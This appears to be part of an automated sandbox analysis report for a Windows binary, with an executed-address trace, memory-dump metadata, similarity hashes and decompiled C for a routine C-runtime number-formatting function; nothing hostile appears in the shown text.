0x00428108
0x00428108
0x00428108
0x0042810c
0x00000000
0x00000000
0x00428112
0x00428112
0x0042811c
0x0042811f
0x00428125
0x00428128
0x0042812e
0x0042812e
0x0042812e
0x0042813a
0x0042813d
0x00428143
0x00428145
0x00000000
0x00000000
0x0042814b
0x0042814b
0x00428154
0x0042815b
0x00428165
0x0042816c
0x0042817b
0x00428187
0x0042818a
0x00428190
0x00428197
0x004281a2
0x004281a2
0x00000000
0x004281a2
0x00428199
0x00428199
0x004281a0
0x004281ae
0x004281ae
0x004281b5
0x004281b9
0x004281c7
0x00000000
0x004281cc
0x00000000
0x004281a0
0x004281d4
0x004281f1
0x004281f1
0x004281f8
0x004281fd
0x004281fd
0x00428200
0x00428202
0x00428209
0x0042820d
0x00428216
0x0042821b
0x00428200
0x004281f8
0x0042821e
0x0042821e
0x00428222
0x0042822a
0x00428232
0x00428232
0x00428239
0x00428239
0x004273bf
0x004273d2
0x004273d7
0x00000000
0x004273ea
0x004273f4
0x0042741b
0x00427402
0x00427413
0x00427413
0x004273f4
0x00427425
0x0042742b
0x0042743d
0x00427448
0x00427454
0x00427461
0x00000000
0x00000000
0x00427467
0x0042746d
0x00000000
0x00427474
0x00427474
0x0042748c
0x00427491
0x00427496
0x00427550
0x00427563
0x00427568
0x00000000
0x0042749c
0x004274af
0x004274b4
0x004274ba
0x004274bc
0x004274c5
0x004274c8
0x004274d4
0x004274d8
0x004274de
0x004274e0
0x004274e5
0x004274e7
0x004274ec
0x004274f1
0x004274f3
0x004274f8
0x004274fe
0x00427500
0x00427500
0x004274fe
0x00427501
0x00427508
0x00000000
0x0042750a
0x0042750f
0x0042752b
0x00427533
0x00427540
0x00427545
0x00000000
0x00427545
0x00427508
0x00000000
0x00427570
0x00427570
0x00427577
0x0042757a
0x0042757d
0x00427580
0x00427583
0x00427586
0x00427589
0x00427590
0x00427597
0x00000000
0x00000000
0x004275a3
0x004275a3
0x004275aa
0x004275b6
0x004275b9
0x004275bf
0x004275c6
0x00000000
0x00000000
0x004275c8
0x004275c8
0x004275ce
0x004275ce
0x004275d5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427618
0x00427618
0x0042761f
0x00427622
0x0042764c
0x0042764f
0x0042764f
0x00427652
0x00427659
0x00427659
0x0042765d
0x00427624
0x00427624
0x00427630
0x00427633
0x00427637
0x00427639
0x0042763c
0x0042763c
0x0042763f
0x00427645
0x00427647
0x00427647
0x0042764a
0x00427660
0x00000000
0x00000000
0x00427665
0x00427665
0x00000000
0x00000000
0x00427671
0x00427671
0x00427678
0x0042767b
0x0042769b
0x0042769e
0x0042769e
0x004276a8
0x004276a8
0x004276ac
0x0042767d
0x0042767d
0x00427689
0x0042768c
0x00427690
0x00427692
0x00427692
0x00427699
0x00000000
0x00000000
0x004276b4
0x004276b4
0x004276bb
0x004276c7
0x004276ca
0x004276d0
0x004276d7
0x004277ea
0x00000000
0x004277ea
0x004276dd
0x004276dd
0x004276e3
0x004276e3
0x004276ea
0x00000000
0x00427720
0x00427720
0x00427723
0x00427726
0x00427729
0x00427751
0x00427751
0x00427754
0x00427757
0x0042775a
0x0042777f
0x0042777f
0x00427782
0x00427785
0x00427788
0x004277c1
0x004277d2
0x00000000
0x004277d2
0x0042778a
0x0042778a
0x0042778d
0x00427790
0x00427793
0x00000000
0x00000000
0x00427795
0x00427795
0x00427798
0x0042779b
0x0042779e
0x00000000
0x00000000
0x004277a0
0x004277a0
0x004277a3
0x004277a6
0x004277a9
0x00000000
0x00000000
0x004277ab
0x004277ab
0x004277ae
0x004277b1
0x004277b4
0x00000000
0x00000000
0x004277b6
0x004277b6
0x004277b9
0x004277bc
0x004277bf
0x004277c3
0x00000000
0x004277c3
0x00000000
0x004277bf
0x0042775c
0x0042775c
0x0042775f
0x00427763
0x00427766
0x00000000
0x00427768
0x0042776b
0x0042776e
0x00427771
0x00427774
0x0042777a
0x00000000
0x0042777a
0x00427766
0x0042772b
0x0042772b
0x0042772e
0x00427732
0x00427735
0x00000000
0x00427737
0x0042773a
0x0042773d
0x00427740
0x00427743
0x00427749
0x00000000
0x00427749
0x00000000
0x004277d4
0x004277d7
0x004277da
0x00000000
0x00000000
0x004276f1
0x004276f1
0x004276f4
0x004276f7
0x004276fa
0x00427712
0x00427715
0x00427715
0x00427718
0x004276fc
0x004276ff
0x00427702
0x00427708
0x0042770d
0x0042770d
0x00000000
0x00000000
0x004277df
0x004277df
0x004277e2
0x004277e2
0x004277e7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277ef
0x004277ef
0x004277f6
0x00427802
0x00427805
0x0042780b
0x00427812
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x00427818
0x0042781e
0x0042781e
0x00427825
0x00000000
0x00427b7f
0x00427b7f
0x00427b86
0x00427b8d
0x00427b8d
0x00427b90
0x00000000
0x00000000
0x0042782c
0x0042782f
0x0042782f
0x00427835
0x00427837
0x0042783a
0x0042783a
0x0042783f
0x0042783f
0x00000000
0x00000000
0x0042796c
0x0042796f
0x0042796f
0x00427974
0x00427976
0x00427979
0x00427979
0x0042797f
0x0042797f
0x00000000
0x00000000
0x00427d4c
0x00427d4c
0x00427d62
0x00427d62
0x00427d6c
0x00427d6c
0x00427d72
0x00427d74
0x00427d7e
0x00427d7e
0x00427d81
0x00427d84
0x00427d84
0x00000000
0x00000000
0x004278d6
0x004278d6
0x004278e2
0x004278e8
0x004278ef
0x004278fd
0x004278fd
0x00427903
0x00427906
0x00427912
0x00427967
0x00000000
0x00427967
0x004278f1
0x004278f1
0x004278f7
0x004278fb
0x00427917
0x0042791a
0x0042791a
0x00427920
0x00427948
0x0042794f
0x00427955
0x00427958
0x0042795b
0x00427961
0x00427964
0x00427922
0x00427922
0x00427928
0x0042792b
0x0042792e
0x00427934
0x00427937
0x0042793a
0x0042793c
0x0042793f
0x0042793f
0x00000000
0x00427920
0x00000000
0x00000000
0x00427b96
0x00427b99
0x00427b9c
0x00427b9f
0x00427ba5
0x00427ba8
0x00427baf
0x00427bb3
0x00427bbe
0x00427bbe
0x00427bc2
0x00427bd9
0x00427bd9
0x00427be0
0x00427be2
0x00427be2
0x00427be9
0x00427be9
0x00427bf0
0x00427c01
0x00427c10
0x00427c13
0x00427c17
0x00427c2d
0x00427c19
0x00427c19
0x00427c1c
0x00427c22
0x00427c28
0x00427c28
0x00427c17
0x00427c37
0x00427c3a
0x00427c3d
0x00427c40
0x00427c40
0x00427c43
0x00427c43
0x00427c46
0x00427c4c
0x00427c52
0x00427c5a
0x00427c5b
0x00427c5e
0x00427c5f
0x00427c62
0x00427c63
0x00427c6a
0x00427c6b
0x00427c6e
0x00427c6f
0x00427c72
0x00427c73
0x00427c79
0x00427c7a
0x00427c88
0x00427c8a
0x00427c90
0x00427c90
0x00427c96
0x00427c98
0x00427c9c
0x00427c9e
0x00427ca6
0x00427ca7
0x00427caa
0x00427cab
0x00427cb9
0x00427cbb
0x00427cbb
0x00427c9c
0x00427cbe
0x00427cc5
0x00427cc8
0x00427ccd
0x00427ccd
0x00427cd3
0x00427cd5
0x00427cdd
0x00427cde
0x00427ce1
0x00427ce2
0x00427cf1
0x00427cf3
0x00427cf3
0x00427cd3
0x00427cf6
0x00427cf9
0x00427cfc
0x00427cff
0x00427d04
0x00427d0a
0x00427d0d
0x00427d10
0x00427d10
0x00427d13
0x00427d13
0x00427d16
0x00427d22
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00000000
0x00428033
0x00427bc4
0x00427bc4
0x00427bcb
0x00427bce
0x00000000
0x00000000
0x00427bd0
0x00427bd0
0x00000000
0x00427bd0
0x00427bb5
0x00427bb5
0x00000000
0x00000000
0x00427842
0x00427845
0x00427845
0x0042784b
0x004278a2
0x004278a6
0x004278ae
0x004278b5
0x004278bb
0x004278c1
0x004278c8
0x004278c8
0x004278ce
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x0042784d
0x0042784d
0x00427857
0x0042785b
0x00427863
0x0042786a
0x00427877
0x0042787e
0x0042788a
0x00427890
0x00427897
0x00427899
0x00427899
0x004278a0
0x00000000
0x00000000
0x00427d2a
0x00427d2d
0x00427d30
0x00427d33
0x00427dab
0x00427dae
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e67
0x00427e6b
0x00427e73
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e4c
0x00427e50
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e26
0x00427e32
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0a
0x00427e0e
0x00427e16
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427ddd
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db5
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00000000
0x00427a88
0x00427a88
0x00427a94
0x00427a9a
0x00427a9f
0x00427aa1
0x00427b4b
0x00427b4e
0x00427b4e
0x00427b51
0x00427b65
0x00427b6b
0x00427b71
0x00427b53
0x00427b53
0x00427b60
0x00427b60
0x00427b73
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x00427aa7
0x00427aa7
0x00427aa7
0x00427aa9
0x00427ab7
0x00427aab
0x00427aab
0x00427aab
0x00427ac1
0x00427ac7
0x00427acd
0x00427ad4
0x00427ad6
0x00427adb
0x00427add
0x00427ae2
0x00427ae7
0x00427ae9
0x00427aee
0x00427af1
0x00427af4
0x00427af6
0x00427af6
0x00427af4
0x00427af7
0x00427afe
0x00427b46
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00427b00
0x00427b00
0x00427b05
0x00427b21
0x00427b29
0x00427b33
0x00427b36
0x00427b3b
0x00428258
0x00428265
0x00428265
0x00000000
0x00427d8d
0x00427d8d
0x00427d97
0x00427d97
0x00427d9d
0x00427d9f
0x00427da2
0x00427da2
0x00427da8
0x00427da8
0x00427dab
0x00427dab
0x00427dae
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e67
0x00427e6b
0x00427e73
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e4c
0x00427e50
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e26
0x00427e32
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0a
0x00427e0e
0x00427e16
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427ddd
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db5
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00000000
0x00427e87
0x00000000
0x00427d45
0x00427d45
0x00000000
0x00000000
0x00427982
0x00427982
0x00427986
0x00427994
0x00427997
0x00427988
0x00427988
0x00427988
0x0042799d
0x004279a3
0x004279a9
0x004279b5
0x004279bb
0x004279bb
0x004279c1
0x00427a28
0x00427a28
0x00427a2c
0x00427a2e
0x00427a34
0x00427a34
0x00427a37
0x00427a3a
0x00427a40
0x00427a40
0x00427a40
0x00427a4c
0x00427a4f
0x00427a55
0x00427a57
0x00000000
0x00000000
0x00427a59
0x00427a59
0x00427a5f
0x00427a62
0x00427a64
0x00000000
0x00000000
0x00427a66
0x00427a6c
0x00427a6f
0x00427a6f
0x00427a77
0x00427a77
0x00427a7d
0x00427a7d
0x00427a80
0x00000000
0x004279c3
0x004279c3
0x004279c3
0x004279c7
0x004279c9
0x004279ce
0x004279ce
0x004279d1
0x004279d8
0x004279db
0x004279e1
0x004279e1
0x004279e1
0x004279ed
0x004279f0
0x004279f6
0x004279f8
0x00000000
0x00000000
0x004279fa
0x004279fa
0x00427a00
0x00427a03
0x00427a05
0x00000000
0x00000000
0x00427a07
0x00427a0d
0x00427a10
0x00427a10
0x00427a18
0x00427a1e
0x00427a21
0x00427a23
0x00427a83
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x00000000
0x00427d3c
0x00427d3c
0x00427dab
0x00427dab
0x00427dae
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e67
0x00427e6b
0x00427e73
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e4c
0x00427e50
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e26
0x00427e32
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0a
0x00427e0e
0x00427e16
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427ddd
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db5
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00000000
0x00427e87
0x00000000
0x00000000
0x00000000
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00000000
0x00000000
0x004275f2
0x004275f5
0x004275f8
0x00000000
0x00000000
0x004275fd
0x00427600
0x00427605
0x00000000
0x00000000
0x004275e7
0x004275e7
0x004275ea
0x004275ed
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275e2
0x00000000
0x00000000
0x0042760a
0x0042760a
0x0042760d
0x0042760d
0x00427610
0x00000000
0x00000000
0x00427613
0x00000000
0x00000000
0x0042746d
0x0042823e
0x00428244
0x0042824d
0x00428252
0x00000000
0x00428252
0x00428033
0x0042800a
0x0042800a
0x0042800e
0x0042801b
0x0042801e
0x00428021
0x00428024
0x00428027
0x0042802a
0x0042802d
0x0042802d
0x00428030
0x00000000
0x00428030
0x00428010
0x00428010
0x00428013
0x00428016
0x00428019
0x00000000
0x00000000
0x00000000
0x00428019
0x00427f72
0x00427f72
0x00427f75
0x00427f78
0x00427f7f
0x00427f86
0x00427f8e
0x00427f94
0x00427f97
0x00427f9a
0x00427fa1
0x00427fad
0x00427fb3
0x00427fb9
0x00427fc0
0x00427fc2
0x00427fc8
0x00427fc8
0x00427fce
0x00427fce
0x00427fd4
0x00427fd7
0x00427fdd
0x00427fe2
0x00427fe5
0x00427f54
0x00427f54
0x00427f5a
0x00427f5d
0x00427f60
0x00427f62
0x00000000
0x00000000
0x00000000
0x00427f62
0x00427f54
0x00427e94
0x00427e94
0x00427e9b
0x00000000
0x00000000
0x00000000
0x00427ec9
0x00427ec9
0x00427ecf
0x00427ed5
0x00427edb
0x00000000
0x00427edb
0x00427dab
0x00427d62

APIs

_get_int64_arg.LIBCMTD ref: 00427DB9
__aullrem.LIBCMT ref: 00427F86
__aulldiv.LIBCMT ref: 00427FA8

Strings

9, xrefs: 00427FB9
0, xrefs: 00427D74
', xrefs: 00427D58

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 794071c6eddc17d974ca9cf899864803c05a72fc3bd9fe377ec6b95ed549c014
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: 2A412571E08229CFDB64CF48D989BAEB7B4BF44304F5045DAE409AB241C7389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00434FC7, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434FC7(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428370(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E00435730(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435770( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00435730(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435770(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E00434240(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00435770( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E00435730(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C550( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
